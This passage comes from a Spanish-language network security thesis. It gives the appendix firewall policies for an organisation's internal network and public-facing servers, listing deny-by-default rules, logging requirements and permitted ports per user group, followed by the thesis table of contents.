e Las conexiones hacia Internet solo pueden hacerse mediante el servidor web proxy de la
organizacion. Intentos de salida hacia Internet sin usar el Web Proxy deben ser blogueados.
e Los usuarios solo tendran acceso a los puertos minimos necesarios para realizar su trabajo en
cada uno de los activos. Los usuarios se dividen en los siguientes grupos de usuarios:
o Personal de Servidores: el personal encargado de administrar los servidores de la
organizacion.
o Personal de Redes: el personal encargado de la administracion de los equipos de red de
la organizacion.
o Personal de Soporte Técnico: el personal encargado de dar soporte técnico en sitio a los
usuarios de la organizacion.
o Usuarios sin privilegios: empleados que no pertenecen a la oficina de tecnologia y
sistemas y/o no administran ningun tipo de recurso tecnolégico.
e El grupo de usuarios Personal de Servidores son los Unicos que tienen acceso a todos los puertos
TCP/UDP de todos los servidores.

4.2 Requerimientos de Configuracion
o El firewall debe denegar todo por defecto.

e El trafico denegado debe generar logs.
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e Debe configurarse un servidor centralizado de logs al que el firewall enviara sus registros.
4.3 Puertos a permitir hacia servidores DNS

e Paratodos los usuarios: Puerto 53 TCP/UDP.
4.4 Puertos a permitir hacia servidores LDAP

e Paratodos los usuarios: Puertos 389 TCP/UDP, 636 TCP/UDP, 137 — 139 TCP/UDP, 445 TCP.
e Para Personal de Soporte Técnico: Puerto 80 HTTP.

4.5 Puertos a permitir hacia servidores de correo electrénico

e Paratodos los usuarios: Puerto 443 TCP.
e Para Personal de Desarrollo: Puerto 587 TCP.
o Para Personal de Soporte: Puerto 7071 TCP.

4.6 Puertos a permitir hacia servidores de pagina web institucional
e Paratodos los usuarios: Puertos 80 TCP, 443 TCP.
4.7 Puertos a permitir hacia servidores de comercio electronico
e Paratodos los usuarios: Puertos 80 TCP, 443 TCP.
4.8 Puertos a permitir hacia servidores ERP basados en Web
e Paratodos los usuarios: Puerto 80 TCP.
4.9 Puertos a permitir hacia servidores SMB
e Paratodos los usuarios: Puertos 137 — 139 TCP/UDP, 445 TCP.
4.10 Puertos a permitir hacia servidores Intranet
e Paratodos los usuarios: Puerto 80 TCP.

5. Cumplimiento de la Politica
5.1 Medicién de Cumplimiento

La oficina de TIC verificara el cumplimiento de esta politica a través de varios métodos incluyendo pero
no limitados a recorridos periddicos, informes de herramientas de negocios y auditorias internas y
externas.

5.2 Excepciones
Cualquier excepcidn a la politica debe ser aprobada por el equipo de TI con antelacion

5.3 Incumplimiento
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Un empleado que viole estas politicas puede estar sujeto a medidas disciplinarias.

B. Politica de Firewall — Servicios Publicos
En este apartado se muestra la politica de acceso perimetral, es decir, las reglas que debe implementar el
firewall de la organizacion para proteger los servidores accesibles desde Internet.

1. Descripcion General

Servidores inseguros y vulnerables siguen siendo un importante punto de entrada para los actores
maliciosos. Tener politicas de firewall consistentes son un inicio para proteger los activos mas
importantes.

2. Proposito

El proposito de esta politica es establecer normas para la configuracion bésica de los accesos permitidos
por el firewall a los servidores internos que son propiedad y/o son operados por la organizacion. La
aplicacion efectiva de esta politica minimizara el acceso no autorizado la informacion y tecnologia propia
de la organizacion.

3. Alcance
Esta politica aplica a equipamiento de servidores que pertenece, es operado o arrendado por la
organizacion o que este registrado bajo un dominio de red publico perteneciente a la organizacion.

4. Politica
4.1 Requerimientos Generales

e Los usuarios externos sélo tendran acceso a los puertos minimos necesarios para realizar su
trabajo en cada uno de los activos.

4.2 Requerimientos de Configuracion

o El firewall debe denegar todo por defecto.

e El trafico denegado debe generar logs.

e Debe configurarse un servidor centralizado de logs al que el firewall enviara sus registros.

e Lainterfaz WAN debe tener proteccién contra ataques DoS.

e Debe ocultarse el direccionamiento interno mediante el uso de NAT para publicar servicios en
Internet.

4.3 Puertos a permitir hacia servidores DNS
e Paratodos los usuarios: Puerto 53 TCP/UDP.
4.4 Puertos a permitir hacia servidores de correo electronico
e Paratodos los usuarios: Puerto 443 TCP, 587 TCP, 993 TCP.

4.5 Puertos a permitir hacia servidores de pagina web institucional
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e Para todos los usuarios: Puertos 80 TCP, 443 TCP.

4.6 Puertos a permitir hacia servidores de comercio electronico
e Paratodos los usuarios: Puertos 80 TCP, 443 TCP.

4.7 Puertos a permitir hacia servidores Intranet
e Paratodos los usuarios: Puerto 1000 TCP.

5. Cumplimiento de la Politica
5.1 Medicion de Cumplimiento

La oficina de TIC verificara el cumplimiento de esta politica a través de varios métodos incluyendo pero
no limitados a informes de herramientas de negocios y auditorias internas y externas.

5.2 Excepciones
Cualquier excepcion a la politica debe ser aprobada por el equipo de TI con antelacion
5.3 Incumplimiento

Una persona que viole estas politicas puede estar sujeta a medidas legales y disciplinarias.

196



	Índice de Figuras
	Índice de Tablas
	Introducción
	Capítulo 1. Planteamiento del Problema
	1.1 El Problema
	1.1.1 Planteamiento del Problema
	1.1.2 Justificación
	1.1.3 Objetivos
	1.1.4 Alcance


	Capítulo 2. Marco Teórico
	2.1 Seguridad de la Información
	2.1.1 ¿Qué es Seguridad de la Información?
	2.1.2 Retos de la Seguridad de la Información
	2.1.3 ¿Quiénes son los atacantes?
	2.1.4 Defensas Contra Ataques

	2.2 Ataques Basados en Red
	2.2.1 Denegación de Servicio
	2.2.2 Spoofing
	2.2.3 Sniffing
	2.2.4 Hombre en el Medio (Man-in-the-Middle, MITM)
	2.2.5 Envenenamiento
	2.2.6 Escaneo de Puertos
	2.2.7 VLAN Hopping
	2.2.8 DHCP Starvation
	2.2.9 Servidor DHCP No Autorizado (Rogue DHCP)

	2.3 Seguridad de la Red
	2.3.1 Seguridad a Través de Dispositivos de Red
	2.3.2 Seguridad a través de Tecnologías de Red
	2.3.3 Seguridad a través de Elementos de Diseño
	2.3.4 Protocolos de Red Comunes
	2.3.5 Principios de Administración de una Red Segura

	2.4 Control de Acceso
	2.4.1 ¿Qué es Control de Acceso?
	2.4.2 Implementación de Controles de Acceso
	2.4.3 Servicios de Autenticación

	2.5 Evaluación de la Seguridad
	2.5.1 Controles de Seguridad
	2.5.2 Tipos de Evaluación
	2.5.3 Técnicas de Evaluación


	Capítulo 3. Marco Metodológico
	3.1 Planificación del Proyecto
	3.1.1 Determinar el Objetivo
	3.1.2 Definir el Alcance
	3.1.3 Elaboración de una Checklist

	3.2 Evaluación Técnica
	3.2.1 Selección de la Muestra
	3.2.2 Revisión de Documentos Técnicos (Review)
	3.2.3 Entrevistas a Personal Técnico (Interview)
	3.2.4 Inspección de Controles de Seguridad Técnicos (Inspect)
	3.2.5 Observar Comportamiento del Personal Técnico (Observe)
	3.2.6 Prueba a los Controles de Seguridad Técnicos (Test)

	3.3 Mitigación de Vulnerabilidades

	Capítulo 4. Marco Aplicativo
	4.1 Planificación del Proyecto
	4.1.1 Objetivo del Proyecto
	4.1.2 Alcance
	4.1.3 Limites
	4.1.4 Checklists a Utilizar

	4.2 Ejecución de la Evaluación Técnica
	4.2.1 Selección de la Muestra
	4.2.2 Revisión de Documentos Técnicos
	4.2.3 Entrevistas a Personal Técnico
	4.2.4 Inspección de Controles de Seguridad Técnicos
	4.2.5 Observación del Comportamiento del Personal Técnico
	4.2.6 Pruebas a Controles Técnicos de Seguridad

	4.3 Mitigación de Vulnerabilidades
	4.3.1 Implementación de un Servidor AAA
	4.3.1 Configuración Segura de los Dispositivos de Infraestructura
	4.3.2 Implementación de Reglas en el Firewall
	4.3.3 Desarrollo de Scripts


	Capítulo 5. Pruebas y Análisis de Resultados
	5.1 Escenario de Prueba 1: Repetición de Pruebas Técnicas a Controles de Seguridad
	5.1.1Servicios Innecesarios
	5.1.2 Pruebas a Switch y Servicio DHCP
	5.1.3 Pruebas a Firewall

	5.2 Escenario de Prueba 2: Pruebas a Servidor RADIUS
	5.1 Probar Autenticación y Autorización (Authentication and Authorization) de Usuario
	5.2 Probar Registro (Accounting)

	5.3 Escenario de Prueba 3: Pruebas a Scripts de Respaldo de Configuraciones
	5.3.1 Respaldo Automatizado de Configuración del Router/Firewall
	5.3.2 Respaldo Automatizado de Configuración de los Switches


	Conclusiones y Trabajos Futuros
	Referencias Bibliográficas
	Anexos
	A. Política de Firewall – Red Interna
	1. Descripción General
	2. Propósito
	3. Alcance
	4. Política
	5. Cumplimiento de la Política

	B. Política de Firewall – Servicios Públicos
	1. Descripción General
	2. Propósito
	3. Alcance
	4. Política
	5. Cumplimiento de la Política



